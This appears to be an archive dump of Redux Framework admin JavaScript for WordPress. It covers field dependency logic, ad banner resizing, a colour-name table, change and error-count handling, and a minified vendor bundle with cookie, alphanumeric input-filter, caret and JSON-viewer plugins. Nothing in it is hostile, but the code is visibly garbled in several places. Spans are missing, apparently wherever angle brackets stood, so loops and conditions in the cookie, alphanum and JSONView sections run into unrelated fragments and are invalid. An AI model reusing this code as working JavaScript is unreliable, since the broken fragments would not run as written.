-1 ) { show = true; } } break; case 'doesnt_contain': case 'not_contain': if ( $.isPlainObject( parentValue ) ) { arr = Object.keys( parentValue ).map( function( key ) { return parentValue[key]; } ); parentValue = arr; } if ( $.isPlainObject( checkValue ) ) { arr = Object.keys( checkValue ).map( function( key ) { return checkValue[key]; } ); checkValue = arr; } if ( $.isArray( checkValue ) ) { $( checkValue ).each( function( idx, val ) { if ( parentValue.toString().indexOf( val ) === -1 ) { show = true; } } ); } else { if ( parentValue.toString().indexOf( checkValue ) === -1 ) { show = true; } } break; case 'is_empty_or': if ( parentValue === "" || parentValue == checkValue ) { show = true; } break; case 'not_empty_and': if ( parentValue !== "" && parentValue != checkValue ) { show = true; } break; case 'is_empty': case 'empty': case '!isset': if ( !parentValue || parentValue === "" || parentValue === null ) { show = true; } break; case 'not_empty': case '!empty': case 'isset': if ( parentValue && parentValue !== "" && parentValue !== null ) { show = true; } break; } return show; }; $.redux.verifyPos = function( s, b ) { // trim off spaces s = s.replace( /^\s+|\s+$/gm, '' ); // position value is blank, set the default if ( s === '' || s.search( ' ' ) == -1 ) { if ( b === true ) { return 'top left'; } else { return 'bottom right'; } } // split string into array var split = s.split( ' ' ); // Evaluate first string. Must be top, center, or bottom var paramOne = b ? 'top' : 'bottom'; if ( split[0] == 'top' || split[0] == 'center' || split[0] == 'bottom' ) { paramOne = split[0]; } // Evaluate second string. Must be left, center, or right. var paramTwo = b ? 'left' : 'right'; if ( split[1] == 'left' || split[1] == 'center' || split[1] == 'right' ) { paramTwo = split[1]; } return paramOne + ' ' + paramTwo; }; $.redux.stickyInfo = function() { var stickyWidth = $( '.redux-main' ).innerWidth() - 20; if ( !$( '#info_bar' ).isOnScreen() && !$( '#redux-footer-sticky' ).isOnScreen() ) { $( '#redux-footer' ).css( { position: 'fixed', bottom: '0', width: stickyWidth, right: 21 } ); $( '#redux-footer' ).addClass( 'sticky-footer-fixed' ); $( '.redux-save-warn' ).css( 'left', $( '#redux-sticky' ).offset().left ); $( '#redux-sticky-padder' ).show(); } else { $( '#redux-footer' ).css( { background: '#eee', position: 'inherit', bottom: 'inherit', width: 'inherit' } ); $( '#redux-sticky-padder' ).hide(); $( '#redux-footer' ).removeClass( 'sticky-footer-fixed' ); } if ( !$( '#info_bar' ).isOnScreen() ) { $( '#redux-sticky' ).addClass( 'sticky-save-warn' ); } else { $( '#redux-sticky' ).removeClass( 'sticky-save-warn' ); } }; $.redux.expandOptions = function( parent ) { var trigger = parent.find( '.expand_options' ); var width = parent.find( '.redux-sidebar' ).width() - 1; var id = $( '.redux-group-menu .active a' ).data( 'rel' ) + '_section_group'; if ( trigger.hasClass( 'expanded' ) ) { trigger.removeClass( 'expanded' ); parent.find( '.redux-main' ).removeClass( 'expand' ); parent.find( '.redux-sidebar' ).stop().animate( { 'margin-left': '0px' }, 500 ); parent.find( '.redux-main' ).stop().animate( { 'margin-left': width }, 500, function() { parent.find( '.redux-main' ).attr( 'style', '' ); } ); parent.find( '.redux-group-tab' ).each( function() { if ( $( this ).attr( 'id' ) !== id ) { $( this ).fadeOut( 'fast' ); } } ); // Show the only active one } else { trigger.addClass( 'expanded' ); parent.find( '.redux-main' ).addClass( 'expand' ); parent.find( '.redux-sidebar' ).stop().animate( { 'margin-left': -width - 113 }, 500 ); parent.find( '.redux-main' ).stop().animate( { 'margin-left': '-1px' }, 500 ); parent.find( '.redux-group-tab' ).fadeIn( 'medium', function() { $.redux.initFields(); } ); } return false; }; $.redux.scaleToRatio = function( el, maxHeight, maxWidth ) { var ratio = 0; // Used for aspect ratio var width = el.attr( 'data-width' ); if ( !width ) { width = el.width(); el.attr( 'data-width', width ); } var height = el.attr( 'data-height' ); var eHeight = el.height(); if ( !height || eHeight > height ) { height = eHeight; el.attr( 'data-height', height ); el.css( "width", 'auto' ); el.attr( 'data-width', el.width() ); width = el.width(); } // Check if the current width is larger than the max if ( width > maxWidth ) { ratio = maxWidth / width; // get ratio for scaling image el.css( "width", maxWidth ); // Set new width el.css( "height", height * ratio ); // Scale height based on ratio height = height * ratio; // Reset height to match scaled image width = width * ratio; // Reset width to match scaled image } else { el.css( "width", 'auto' ); // Set new height } // Check if current height is larger than max if ( height > maxHeight ) { ratio = maxHeight / height; // get ratio for scaling image el.css( "height", maxHeight ); // Set new height el.css( "width", width * ratio ); // Scale width based on ratio width = width * ratio; // Reset width to match scaled image height = height * ratio; // Reset height to match scaled image } else { el.css( "height", 'auto' ); // Set new height } var test = ($( document.getElementById( 'redux-header' ) ).height() - el.height()) / 2; if ( test > 0 ) { el.css( "margin-top", test ); } else { el.css( "margin-top", 0 ); } if ( $( '#redux-header .redux_field_search' ) ) { $( '#redux-header .redux_field_search' ).css( 'right', ($( el ).width() + 20) ); } }; $.redux.resizeAds = function() { var el = $( '#redux-header' ); var maxWidth; if ( el.length ) { maxWidth = el.width() - el.find( '.display_header' ).width() - 30; } else { el = $( '#customize-info' ); maxWidth = el.width(); } var maxHeight = el.height(); var rAds = el.find( '.rAds' ); $( rAds ).find( 'video' ).each( function() { $.redux.scaleToRatio( $( this ), maxHeight, maxWidth ); } ); $( rAds ).find( 'img' ).each( function() { $.redux.scaleToRatio( $( this ), maxHeight, maxWidth ); } ); $( rAds ).find( 'div' ).each( function() { $.redux.scaleToRatio( $( this ), maxHeight, maxWidth ); } ); if ( rAds.css( 'left' ) == "-99999px" ) { rAds.css( 'display', 'none' ).css( 'left', 'auto' ); } rAds.fadeIn( 'slow' ); }; $( document ).ready( function() { if ( redux.rAds ) { var el; if ( $( '#redux-header' ).length > 0 ) { $( '#redux-header' ).append( '
    ' ); el = $( '#redux-header' ); } else { $( '#customize-theme-controls ul' ).first().prepend( '
  • ' ); el = $( '#redux_rAds' ); } el.css( 'position', 'relative' ); el.find( '.rAds' ).attr( 'style', 'position:absolute; top: 6px; right: 9px; display:block !important;overflow:hidden;' ).css( 'left', '-99999px' ); el.find( '.rAds' ).html( redux.rAds.replace( //, '' ) ); var rAds = el.find( '.rAds' ); $( rAds ).hide(); rAds.bind( "DOMSubtreeModified", function() { if ( $( this ).html().indexOf( "
    = 0 ) { rAds.find( 'img' ).css( 'visibility', 'hidden' ); setTimeout( function() { rAds.show(); $.redux.resizeAds(); }, 400 ); rAds.find( 'img' ).css( 'visibility', 'inherit' ); rAds.unbind( "DOMSubtreeModified" ); } } ); $( window ).resize( function() { $.redux.resizeAds(); } ); } } ); })( jQuery ); jQuery.noConflict(); var confirmOnPageExit = function( e ) { //return; // ONLY FOR DEBUGGING // If we haven't been passed the event get the window.event e = e || window.event; var message = redux.args.save_pending; // For IE6-8 and Firefox prior to version 4 if ( e ) { e.returnValue = message; } window.onbeforeunload = null; // For Chrome, Safari, IE8+ and Opera 12+ return message; }; function redux_change( variable ) { variable = jQuery(variable); jQuery( 'body' ).trigger( 'check_dependencies', variable ); if ( variable.hasClass( 'compiler' ) ) { jQuery( '#redux-compiler-hook' ).val( 1 ); } // var test = jQuery( variable ).parents( '.redux-field-container:first' ); // if ( test.hasClass( 'redux-container-typography' ) && redux.field_objects.typography ) { // redux.field_objects.typography.change( test ); // } var rContainer = jQuery( variable ).parents( '.redux-container:first' ); var parentID = jQuery( variable ).closest( '.redux-group-tab' ).attr( 'id' ); // Let's count down the errors now. Fancy. ;) var id = parentID.split( '_' ); id = id[0]; var th = rContainer.find( '.redux-group-tab-link-a[data-key="' + id + '"]' ).parents( '.redux-group-tab-link-li:first' ); var subParent = jQuery( '#' + parentID + '_li' ).parents( '.hasSubSections:first' ); if ( jQuery( variable ).parents( 'fieldset.redux-field:first' ).hasClass( 'redux-field-error' ) ) { jQuery( variable ).parents( 'fieldset.redux-field:first' ).removeClass( 'redux-field-error' ); jQuery( variable ).parent().find( '.redux-th-error' ).slideUp(); var errorCount = (parseInt( rContainer.find( '.redux-field-errors span' ).text() ) - 1); if ( errorCount <= 0 ) { jQuery( '#' + parentID + '_li .redux-menu-error' ).fadeOut( 'fast' ).remove(); jQuery( '#' + parentID + '_li .redux-group-tab-link-a' ).removeClass( 'hasError' ); jQuery( '#' + parentID + '_li' ).parents( '.inside:first' ).find( '.redux-field-errors' ).slideUp(); jQuery( variable ).parents( '.redux-container:first' ).find( '.redux-field-errors' ).slideUp(); jQuery( '#redux_metaboxes_errors' ).slideUp(); } else { var errorsLeft = (parseInt( th.find( '.redux-menu-error:first' ).text() ) - 1); if ( errorsLeft <= 0 ) { th.find( '.redux-menu-error:first' ).fadeOut().remove(); } else { th.find( '.redux-menu-error:first' ).text( errorsLeft ); } rContainer.find( '.redux-field-errors span' ).text( errorCount ); } if ( subParent.length !== 0 ) { if ( subParent.find( '.redux-menu-error' ).length === 0 ) { subParent.find( '.hasError' ).removeClass( 'hasError' ); } } } if ( jQuery( variable ).parents( 'fieldset.redux-field:first' ).hasClass( 'redux-field-warning' ) ) { jQuery( variable ).parents( 'fieldset.redux-field:first' ).removeClass( 'redux-field-warning' ); jQuery( variable ).parent().find( '.redux-th-warning' ).slideUp(); var warningCount = (parseInt( rContainer.find( '.redux-field-warnings span' ).text() ) - 1); if ( warningCount <= 0 ) { jQuery( '#' + parentID + '_li .redux-menu-warning' ).fadeOut( 'fast' ).remove(); jQuery( '#' + parentID + '_li .redux-group-tab-link-a' ).removeClass( 'hasWarning' ); jQuery( '#' + parentID + '_li' ).parents( '.inside:first' ).find( '.redux-field-warnings' ).slideUp(); jQuery( variable ).parents( '.redux-container:first' ).find( '.redux-field-warnings' ).slideUp(); jQuery( '#redux_metaboxes_warnings' ).slideUp(); } else { // Let's count down the warnings now. Fancy. ;) var warningsLeft = (parseInt( th.find( '.redux-menu-warning:first' ).text() ) - 1); if ( warningsLeft <= 0 ) { th.find( '.redux-menu-warning:first' ).fadeOut().remove(); } else { th.find( '.redux-menu-warning:first' ).text( warningsLeft ); } rContainer.find( '.redux-field-warning span' ).text( warningCount ); } if ( subParent.length !== 0 ) { if ( subParent.find( '.redux-menu-warning' ).length === 0 ) { subParent.find( '.hasWarning' ).removeClass( 'hasWarning' ); } } } // Don't show the changed value notice while save_notice is visible. if ( rContainer.find( '.saved_notice:visible' ).length > 0 ) { return; } if ( !redux.args.disable_save_warn ) { rContainer.find( '.redux-save-warn' ).slideDown(); window.onbeforeunload = confirmOnPageExit; } } function colorValidate( field ) { var value = jQuery( field ).val(); var hex = colorNameToHex( value ); if ( hex !== value.replace( '#', '' ) ) { return hex; } return value; } function colorNameToHex( colour ) { var tcolour = colour.replace( /^\s\s*/, '' ).replace( /\s\s*$/, '' ).replace( "#", "" ); var colours = { "aliceblue": "#f0f8ff", "antiquewhite": "#faebd7", "aqua": "#00ffff", "aquamarine": "#7fffd4", "azure": "#f0ffff", "beige": "#f5f5dc", "bisque": "#ffe4c4", "black": "#000000", "blanchedalmond": "#ffebcd", "blue": "#0000ff", "blueviolet": "#8a2be2", "brown": "#a52a2a", "burlywood": "#deb887", "cadetblue": "#5f9ea0", "chartreuse": "#7fff00", "chocolate": "#d2691e", "coral": "#ff7f50", "cornflowerblue": "#6495ed", "cornsilk": "#fff8dc", "crimson": "#dc143c", "cyan": "#00ffff", "darkblue": "#00008b", "darkcyan": "#008b8b", "darkgoldenrod": "#b8860b", "darkgray": "#a9a9a9", "darkgreen": "#006400", "darkkhaki": "#bdb76b", "darkmagenta": "#8b008b", "darkolivegreen": "#556b2f", "darkorange": "#ff8c00", "darkorchid": "#9932cc", "darkred": "#8b0000", "darksalmon": "#e9967a", "darkseagreen": "#8fbc8f", "darkslateblue": "#483d8b", "darkslategray": "#2f4f4f", "darkturquoise": "#00ced1", "darkviolet": "#9400d3", "deeppink": "#ff1493", "deepskyblue": "#00bfff", "dimgray": "#696969", "dodgerblue": "#1e90ff", "firebrick": "#b22222", "floralwhite": "#fffaf0", "forestgreen": "#228b22", "fuchsia": "#ff00ff", "gainsboro": "#dcdcdc", "ghostwhite": "#f8f8ff", "gold": "#ffd700", "goldenrod": "#daa520", "gray": "#808080", "green": "#008000", "greenyellow": "#adff2f", "honeydew": "#f0fff0", "hotpink": "#ff69b4", "indianred ": "#cd5c5c", "indigo ": "#4b0082", "ivory": "#fffff0", "khaki": "#f0e68c", "lavender": "#e6e6fa", "lavenderblush": "#fff0f5", "lawngreen": "#7cfc00", "lemonchiffon": "#fffacd", "lightblue": "#add8e6", "lightcoral": "#f08080", "lightcyan": "#e0ffff", "lightgoldenrodyellow": "#fafad2", "lightgrey": "#d3d3d3", "lightgreen": "#90ee90", "lightpink": "#ffb6c1", "lightsalmon": "#ffa07a", "lightseagreen": "#20b2aa", "lightskyblue": "#87cefa", "lightslategray": "#778899", "lightsteelblue": "#b0c4de", "lightyellow": "#ffffe0", "lime": "#00ff00", "limegreen": "#32cd32", "linen": "#faf0e6", "magenta": "#ff00ff", "maroon": "#800000", "mediumaquamarine": "#66cdaa", "mediumblue": "#0000cd", "mediumorchid": "#ba55d3", "mediumpurple": "#9370d8", "mediumseagreen": "#3cb371", "mediumslateblue": "#7b68ee", "mediumspringgreen": "#00fa9a", "mediumturquoise": "#48d1cc", "mediumvioletred": "#c71585", "midnightblue": "#191970", "mintcream": "#f5fffa", "mistyrose": "#ffe4e1", "moccasin": "#ffe4b5", "navajowhite": "#ffdead", "navy": "#000080", "oldlace": "#fdf5e6", "olive": "#808000", "olivedrab": "#6b8e23", "orange": "#ffa500", "orangered": "#ff4500", "orchid": "#da70d6", "palegoldenrod": "#eee8aa", "palegreen": "#98fb98", "paleturquoise": "#afeeee", "palevioletred": "#d87093", "papayawhip": "#ffefd5", "peachpuff": "#ffdab9", "peru": "#cd853f", "pink": "#ffc0cb", "plum": "#dda0dd", "powderblue": "#b0e0e6", "purple": "#800080", "red": "#ff0000", "redux": "#01a3e3", "rosybrown": "#bc8f8f", "royalblue": "#4169e1", "saddlebrown": "#8b4513", "salmon": "#fa8072", "sandybrown": "#f4a460", "seagreen": "#2e8b57", "seashell": "#fff5ee", "sienna": "#a0522d", "silver": "#c0c0c0", "skyblue": "#87ceeb", "slateblue": "#6a5acd", "slategray": "#708090", "snow": "#fffafa", "springgreen": "#00ff7f", "steelblue": "#4682b4", "tan": "#d2b48c", "teal": "#008080", "thistle": "#d8bfd8", "tomato": "#ff6347", "turquoise": "#40e0d0", "violet": "#ee82ee", "wheat": "#f5deb3", "white": "#ffffff", "whitesmoke": "#f5f5f5", "yellow": "#ffff00", "yellowgreen": "#9acd32" }; if ( colours[tcolour.toLowerCase()] !== 'undefined' ) { return colours[tcolour.toLowerCase()]; } return colour; } function redux_hook( object, functionName, callback, before ) { (function( originalFunction ) { object[functionName] = function() { if ( before === true ) { callback.apply( this, [returnValue, originalFunction, arguments] ); } var returnValue = originalFunction.apply( this, arguments ); if ( before !== true ) { callback.apply( this, [returnValue, originalFunction, arguments] ); } return returnValue; }; }( object[functionName] )); } lib/redux-framework/assets/js/vendor.min.js000064400000024014147206624460015003 0ustar00!function(e){"function"==typeof define&&define.amd?jQueryCookie.define(["jquery"],e):e(jQuery)}(function(h){var t=/\+/g;function d(e){return e}function v(e){return decodeURIComponent(e.replace(t," "))}function m(e){0===e.indexOf('"')&&(e=e.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\"));try{return g.json?JSON.parse(e):e}catch(e){}}var g=h.cookie=function(e,t,n){if(void 0!==t){if("number"==typeof(n=h.extend({},g.defaults,n)).expires){var r=n.expires,a=n.expires=new Date;a.setDate(a.getDate()+r)}return t=g.json?JSON.stringify(t):String(t),document.cookie=[g.raw?e:encodeURIComponent(e),"=",g.raw?t:encodeURIComponent(t),n.expires?"; expires="+n.expires.toUTCString():"",n.path?"; path="+n.path:"",n.domain?"; domain="+n.domain:"",n.secure?"; secure":""].join("")}for(var o=g.raw?d:v,i=document.cookie.split("; "),l=e?void 0:{},c=0,u=i.length;c=o.captureLength&&n.toUpperCase()!=e.text||t&&n.length>=o.captureLength)&&(e.text=n.toUpperCase(),e.cb.call(e.el,n))},t)})}}return this.each(function(){t(this)})}}(jQuery),function(c){c.fn.alphanum=function(e){return n(this,m,i(e)),this},c.fn.alpha=function(e){return n(this,m,i(e,i("alpha"))),this},c.fn.numeric=function(e){return n(this,S,h(e)),this.blur(function(){!function(e,t){var n=parseFloat(c(e).val()),r=c(e);if(isNaN(n))return r.val("");o(t.min)&&nt.max&&r.val("")}(this,e)}),this};var e,t,u={allow:"",disallow:"",allowSpace:!0,allowNumeric:!0,allowUpper:!0,allowLower:!0,allowCaseless:!0,allowLatin:!0,allowOtherCharSets:!0,maxLength:NaN},r={allowPlus:!1,allowMinus:!0,allowThouSep:!0,allowDecSep:!0,allowLeadingSpaces:!1,maxDigits:NaN,maxDecimalPlaces:NaN,maxPreDecimalPlaces:NaN,max:NaN,min:NaN},s={alpha:{allowNumeric:!1},upper:{allowNumeric:!1,allowUpper:!0,allowLower:!1,allowCaseless:!0},lower:{allowNumeric:!1,allowUpper:!1,allowLower:!0,allowCaseless:!0}},a={integer:{allowPlus:!1,allowMinus:!0,allowThouSep:!1,allowDecSep:!1},positiveInteger:{allowPlus:!1,allowMinus:!1,allowThouSep:!1,allowDecSep:!1}},f="!@#$%^&*()+=[]\\';,/{}|\":<>?~`.-_ ¬€£¦",l=",",p=".",g=function(){var e,t="0123456789".split(""),n={},r=0;for(r=0;ri.max))&&(r=e+t,!(a=n).min||0=o.maxLength||!(0<=o.allow.indexOf(a)||o.allowSpace&&" "==a)&&(o.blacklistSet.contains(a)||!o.allowNumeric&&g[a]||!o.allowUpper&&(l=(i=a).toUpperCase(),c=i.toLowerCase(),i==l&&l!=c)||!o.allowLower&&(s=(u=a).toUpperCase(),f=u.toLowerCase(),u==f&&s!=f)||!o.allowCaseless&&(p=a).toUpperCase()==p.toLowerCase()||!o.allowLatin&&w.contains(a)||!(o.allowOtherCharSets||g[a]||w.contains(a)))||d.push(n)}return d.join("")}function S(e,t){if("string"!=typeof e)return e;var n,r=e.split(""),a=[],o=0;for(o=0;o?~`.-_'; blacklist += " "; // 'Space' is on the blacklist but can be enabled using the 'allowSpace' config entry return blacklist; } // Return the blacklisted special chars that are NOT encodable using 7-bit ascii // We want this .js file to be encoded using 7-bit ascii so it can reach the widest possible audience // Higher order chars must be escaped eg "\xAC" // Not too worried about comments containing higher order characters for now (let's wait and see if it becomes a problem) function getBlacklistNonAscii(){ var blacklist = "\xAC" // + "\u20AC" // + "\xA3" // + "\xA6" // ; return blacklist; } // End Settings //////////////////////////////////////////////////////// // Implementation details go here //////////////////////////////////////////////////////// function setupEventHandlers($textboxes, trimFunction, settings) { $textboxes.each(function(){ var $textbox = $(this); $textbox.bind("keyup change paste", function(e){ var pastedText = ""; if(e.originalEvent && e.originalEvent.clipboardData && e.originalEvent.clipboardData.getData) pastedText = e.originalEvent.clipboardData.getData("text/plain") // setTimeout is necessary for handling the 'paste' event setTimeout(function(){ trimTextbox($textbox, trimFunction, settings, pastedText); }, 0); }); $textbox.bind("keypress", function(e){ // Determine which key is pressed. // If it's a control key, then allow the event's default action to occur eg backspace, tab var charCode = !e.charCode ? e.which : e.charCode; if(isControlKey(charCode) || e.ctrlKey || e.metaKey ) // cmd on MacOS return; var newChar = String.fromCharCode(charCode); // Determine if some text was selected / highlighted when the key was pressed var selectionObject = $textbox.selection(); var start = selectionObject.start; var end = selectionObject.end; var textBeforeKeypress = $textbox.val(); // The new char may be inserted: // 1) At the start // 2) In the middle // 3) At the end // 4) User highlights some text and then presses a key which would replace the highlighted text // // Here we build the string that would result after the keypress. // If the resulting string is invalid, we cancel the event. // Unfortunately, it isn't enough to just check if the new char is valid because some chars // are position sensitive eg the decimal point '.'' or the minus sign '-'' are only valid in certain positions. var potentialTextAfterKeypress = textBeforeKeypress.substring(0, start) + newChar + textBeforeKeypress.substring(end); var validatedText = trimFunction(potentialTextAfterKeypress, settings); // If the keypress would cause the textbox to contain invalid characters, then cancel the keypress event if(validatedText != potentialTextAfterKeypress) e.preventDefault(); }); }); } // Ensure the text is a valid number when focus leaves the textbox // This catches the case where a user enters '-' or '.' without entering any digits function numericField_Blur(inputBox, settings) { var fieldValueNumeric = parseFloat($(inputBox).val()); var $inputBox = $(inputBox); if(isNaN(fieldValueNumeric)) { $inputBox.val(""); return; } if(isNumeric(settings.min) && fieldValueNumeric < settings.min) $inputBox.val(""); if(isNumeric(settings.max) && fieldValueNumeric > settings.max) $inputBox.val(""); } function isNumeric(value) { return !isNaN(value); } function isControlKey(charCode) { if(charCode >= 32) return false; if(charCode == 10) return false; if(charCode == 13) return false; return true; } // One way to prevent a character being entered is to cancel the keypress event. // However, this gets messy when you have to deal with things like copy paste which isn't a keypress. // Which event gets fired first, keypress or keyup? What about IE6 etc etc? // Instead, it's easier to allow the 'bad' character to be entered and then to delete it immediately after. function trimTextbox($textBox, trimFunction, settings, pastedText){ var inputString = $textBox.val(); if(inputString == "" && pastedText.length > 0) inputString = pastedText; var outputString = trimFunction(inputString, settings); if(inputString == outputString) return; var caretPos = $textBox.alphanum_caret(); $textBox.val(outputString); //Reset the caret position if(inputString.length ==(outputString.length + 1)) $textBox.alphanum_caret(caretPos - 1); else $textBox.alphanum_caret(caretPos); } function getCombinedSettingsAlphaNum(settings, defaultSettings){ if(typeof defaultSettings == "undefined") defaultSettings = DEFAULT_SETTINGS_ALPHANUM; var userSettings, combinedSettings = {}; if(typeof settings === "string") userSettings = CONVENIENCE_SETTINGS_ALPHANUM[settings]; else if(typeof settings == "undefined") userSettings = {}; else userSettings = settings; $.extend(combinedSettings, defaultSettings, userSettings); if(typeof combinedSettings.blacklist == 'undefined') combinedSettings.blacklistSet = getBlacklistSet(combinedSettings.allow, combinedSettings.disallow); return combinedSettings; } function getCombinedSettingsNum(settings){ var userSettings, combinedSettings = {}; if(typeof settings === "string") userSettings = CONVENIENCE_SETTINGS_NUMERIC[settings]; else if(typeof settings == "undefined") userSettings = {}; else userSettings = settings; $.extend(combinedSettings, DEFAULT_SETTINGS_NUM, userSettings); return combinedSettings; } // This is the heart of the algorithm function alphanum_allowChar(validatedStringFragment, Char, settings){ if(settings.maxLength && validatedStringFragment.length >= settings.maxLength) return false; if(settings.allow.indexOf(Char) >=0 ) return true; if(settings.allowSpace && (Char == " ")) return true; if(settings.blacklistSet.contains(Char)) return false; if(!settings.allowNumeric && DIGITS[Char]) return false; if(!settings.allowUpper && isUpper(Char)) return false; if(!settings.allowLower && isLower(Char)) return false; if(!settings.allowCaseless && isCaseless(Char)) return false; if(!settings.allowLatin && LATIN_CHARS.contains(Char)) return false; if(!settings.allowOtherCharSets){ if(DIGITS[Char] || LATIN_CHARS.contains(Char)) return true; else return false; } return true; } function numeric_allowChar(validatedStringFragment, Char, settings){ if(DIGITS[Char]) { if(isMaxDigitsReached(validatedStringFragment, settings)) return false; if(isMaxPreDecimalsReached(validatedStringFragment, settings)) return false; if(isMaxDecimalsReached(validatedStringFragment, settings)) return false; if(isGreaterThanMax(validatedStringFragment + Char, settings)) return false; if(isLessThanMin(validatedStringFragment + Char, settings)) return false; return true; } if(settings.allowPlus && Char == '+' && validatedStringFragment == '') return true; if(settings.allowMinus && Char == '-' && validatedStringFragment == '') return true; if(Char == THOU_SEP && settings.allowThouSep && allowThouSep(validatedStringFragment, Char)) return true; if(Char == DEC_SEP) { // Only one decimal separator allowed if(validatedStringFragment.indexOf(DEC_SEP) >= 0) return false; if(settings.allowDecSep) return true; } return false; } function countDigits(string) { // Error handling, nulls etc string = string + ""; // Count the digits return string.replace(/[^0-9]/g,"").length; } function isMaxDigitsReached(string, settings) { var maxDigits = settings.maxDigits; if(maxDigits == "" || isNaN(maxDigits)) return false; // In this case, there is no maximum var numDigits = countDigits(string); if(numDigits >= maxDigits) return true; return false; } function isMaxDecimalsReached(string, settings) { var maxDecimalPlaces = settings.maxDecimalPlaces; if(maxDecimalPlaces == "" || isNaN(maxDecimalPlaces)) return false; // In this case, there is no maximum var indexOfDecimalPoint = string.indexOf(DEC_SEP); if(indexOfDecimalPoint == -1) return false; var decimalSubstring = string.substring(indexOfDecimalPoint); var numDecimals = countDigits(decimalSubstring); if(numDecimals >= maxDecimalPlaces) return true; return false; } function isMaxPreDecimalsReached(string, settings) { var maxPreDecimalPlaces = settings.maxPreDecimalPlaces; if(maxPreDecimalPlaces == "" || isNaN(maxPreDecimalPlaces)) return false; // In this case, there is no maximum var indexOfDecimalPoint = string.indexOf(DEC_SEP); if(indexOfDecimalPoint >= 0) return false; var numPreDecimalDigits = countDigits(string); if(numPreDecimalDigits >= maxPreDecimalPlaces) return true; return false; } function isGreaterThanMax(numericString, settings) { if(!settings.max || settings.max < 0) return false; var outputNumber = parseFloat(numericString); if(outputNumber > settings.max) return true; return false; } function isLessThanMin(numericString, settings) { if(!settings.min || settings.min > 0) return false; var outputNumber = parseFloat(numericString); if(outputNumber < settings.min) return true; return false; } /******************************** * Trims a string according to the settings provided ********************************/ function trimAlphaNum(inputString, settings){ if(typeof inputString != "string") return inputString; var inChars = inputString.split(""); var outChars = []; var i = 0; var Char; for(i=0; i= 0) return false; var posOfFirstThouSep = currentString.indexOf(THOU_SEP); // Check if this is the first occurrence of a THOU_SEP if(posOfFirstThouSep < 0) return true; var posOfLastThouSep = currentString.lastIndexOf(THOU_SEP); var charsSinceLastThouSep = currentString.length - posOfLastThouSep - 1; // Check if there has been 3 digits since the last THOU_SEP if(charsSinceLastThouSep < 3) return false; var digitsSinceFirstThouSep = countDigits(currentString.substring(posOfFirstThouSep)); // Check if there has been a multiple of 3 digits since the first THOU_SEP if((digitsSinceFirstThouSep % 3) > 0) return false; return true; } //////////////////////////////////////////////////////////////////////////////////// // Implementation of a Set //////////////////////////////////////////////////////////////////////////////////// function Set(elems){ if(typeof elems == "string") this.map = stringToMap(elems); else this.map = {}; } Set.prototype.add = function(set){ var newSet = this.clone(); for(var key in set.map) newSet.map[key] = true; return newSet; } Set.prototype.subtract = function(set){ var newSet = this.clone(); for(var key in set.map) delete newSet.map[key]; return newSet; } Set.prototype.contains = function(key){ if(this.map[key]) return true; else return false; } Set.prototype.clone = function(){ var newSet = new Set(); for(var key in this.map) newSet.map[key] = true; return newSet; } //////////////////////////////////////////////////////////////////////////////////// function stringToMap(string){ var map = {}; var array = string.split(""); var i=0; var Char; for(i=0; i=0){endPos=i.toString().length}else{endPos=startPos+r.toString().length}return{start:startPos,end:endPos}},s=function(t){var n=r(t);if(t.selectionStart!==undefined){if(document.activeElement&&document.activeElement!=t&&t.selectionStart==t.selectionEnd&&t.selectionStart==0){return{start:t.value.length,end:t.value.length}}return{start:t.selectionStart,end:t.selectionEnd}}else if(n.getSelection){return i(t,n)}else{try{if(t.nodeName.toLowerCase()=="input"){var s=r(t).document.selection.createRange(),o=t.createTextRange();o.setEndPoint("EndToStart",s);var u=o.text.length;return{start:u,end:u+s.text.length}}else{var a=i(t,n);if(!a){return a}var f=e.Range.current().clone(),l=f.clone().collapse().range,c=f.clone().collapse(false).range;l.moveStart("character",-1);c.moveStart("character",-1);if(a.startPos!=0&&l.text==""){a.startPos+=2}if(a.endPos!=0&&c.text==""){a.endPos+=2}return a}}catch(h){return{start:t.value.length,end:t.value.length}}}},o=function(e,t,n){var i=r(e);if(e.setSelectionRange){if(n===undefined){e.focus();e.setSelectionRange(t,t)}else{e.select();e.selectionStart=t;e.selectionEnd=n}}else if(e.createTextRange){var s=e.createTextRange();s.moveStart("character",t);n=n||t;s.moveEnd("character",n-e.value.length);s.select()}else if(i.getSelection){var o=i.document,u=i.getSelection(),f=o.createRange(),l=[t,n!==undefined?n:t];a([e],l);f.setStart(l[0].el,l[0].count);f.setEnd(l[1].el,l[1].count);u.removeAllRanges();u.addRange(f)}else if(i.document.body.createTextRange){var f=document.body.createTextRange();f.moveToElementText(e);f.collapse();f.moveStart("character",t);f.moveEnd("character",n!==undefined?n:t);f.select()}},u=function(e,t,n,r){if(typeof n[0]==="number"&&n[0](.*)\<\/pre\>$/.test(this.data)&&(this.debug&&console.log("JSONView: data is wrapped in
    ...
    , stripping HTML..."),this.data=this.data.replace(/<(?:.|\s)*?>/g,""));var n=/^\s*([\[\{].*[\}\]])\s*$/,r=/^[\s\u200B\uFEFF]*([\w$\[\]\.]+)[\s\u200B\uFEFF]*\([\s\u200B\uFEFF]*([\[{][\s\S]*[\]}])[\s\u200B\uFEFF]*\);?[\s\u200B\uFEFF]*$/,i=/([\[\{][\s\S]*[\]\}])\)/,s=n.test(this.data),o=r.test(this.data);this.debug&&console.log("JSONView: is_json="+s+" is_jsonp="+o);if(s||o){this.debug&&console.log("JSONView: sexytime!");function u(){}u.prototype={htmlEncode:function(e){return e!=null?e.toString().replace(/&/g,"&").replace(/"/g,""").replace(//g,">"):""},decorateWithSpan:function(e,t){return''+this.htmlEncode(e)+""},valueToHTML:function(e){var t=typeof e,n="";return e===null?n+=this.decorateWithSpan("null","null"):e&&e.constructor===Array?n+=this.arrayToHTML(e):t==="object"?n+=this.objectToHTML(e):t==="number"?n+=this.decorateWithSpan(e,"num"):t==="string"?/^(http|https):\/\/[^\s]+$/.test(e)?n+='
    '+this.htmlEncode(e)+"":n+=this.decorateWithSpan('"'+e+'"',"string"):t==="boolean"&&(n+=this.decorateWithSpan(e,"bool")),n},arrayToHTML:function(e){var t='[
      ',n=!1;for(var r in e)n=!0,t+="
    • ",t+=this.valueToHTML(e[r]),t+="
    • ";return t+="
    ]",n||(t="[ ]"),t},objectToHTML:function(e){var t='{
      ',n=!1;for(var r in e)n=!0,t+="
    • ",t+=''+this.htmlEncode(r)+": ",t+=this.valueToHTML(e[r]),t+="
    • ";return t+="
    }",n||(t="{ }"),t},jsonToHTML:function(e,t,n){var r="";return t?(r+='
    '+t+" (
    ",r+='
    '):r+='
    ',r+=this.valueToHTML(e),r+="
    ",t&&(r+='
    )
